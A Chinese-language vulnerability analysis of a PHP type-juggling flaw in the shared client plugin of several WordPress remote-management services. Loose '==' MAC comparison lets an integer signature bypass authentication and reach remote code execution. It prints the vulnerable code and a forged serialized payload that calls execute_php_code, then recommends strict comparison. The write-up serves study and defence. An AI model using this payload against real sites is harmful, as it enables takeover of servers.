首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 型別轉換漏洞導致 CMS 遠程管理插件 RCE 風險分析

     編輯:PHP 綜合知識

前言:遠程管理插件的安全隱患

WordPress 站長常用 ManageWP、InfiniteWP、CMS Commander 等遠程管理工具,可批量更新多站點、安裝插件。但這些工具需賦予客戶端插件高權限,通信安全至關重要。研究發現這三款服務共用同一客戶端基礎代碼,均存在簽名繞過漏洞導致遠程代碼執行 (RCE)。

通信認證機制與漏洞根因

管理服務器註冊客戶端私鑰,使用消息認證碼 (MAC) 驗證消息完整性。流程:雙方共享密鑰,發送方對消息計算 MAC 附在消息後;接收方用相同密鑰重新計算並比對。理論上安全,但實現缺陷導致漏洞。

客戶端驗證代碼 (helper.class.php):

<?php
// $signature 為隨消息發送的 MAC
// $data 為消息部分內容
if (md5($data . $this->get_random_signature()) == $signature) {
    // 合法消息
}

關鍵問題:使用非嚴格比較 == 導致型別轉換「欺騙」。md5() 輸出永為字串,但若 $signature 為整數,PHP 會將字串轉為數值比較。規則:字串以數字開頭轉為對應整數,非數字開頭轉為 0。

型別轉換利用示例

<?php
var_dump(0 == "a");        // true (0 == 0)
var_dump("1" == "01");     // true (1 == 1)
var_dump("10" == "1e1");   // true (10 == 10)
var_dump('abcdefg' == 0);  // true
var_dump('1abcdef' == 1);  // true

攻擊者可構造整數簽名繞過驗證。若真實 MAC 以「0」或非數字開頭,0 即可匹配;以「1xxx」開頭則 1 匹配,以此類推。

實際攻擊鏈構造

init.php 對請求進行 base64_decode() 後 unserialize(),攻擊者可控制輸入型別。偽造序列化載荷:

a:4:{s:9:"signature";i:0;s:2:"id";i:100000;s:6:"action";s:16:"execute_php_code";s:6:"params";a:2:{s:8:"username";s:5:"admin";s:4:"code";s:25:"exec('touch /tmp/owned');"}}

簽名為整數 0,動作為 execute_php_code 執行任意 PHP 代碼。驗證邏輯變為:

<?php
$signature = 0;
$data = 'execute_php_code' . 100000;
if (md5($data . $this->get_random_signature()) == $signature) {
    // 若 md5 輸出不以數字開頭,條件成立
}

此漏洞凸顯 PHP 弱型別比較在安全敏感場景的風險,建議統一使用 === 嚴格比較並驗證輸入型別。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved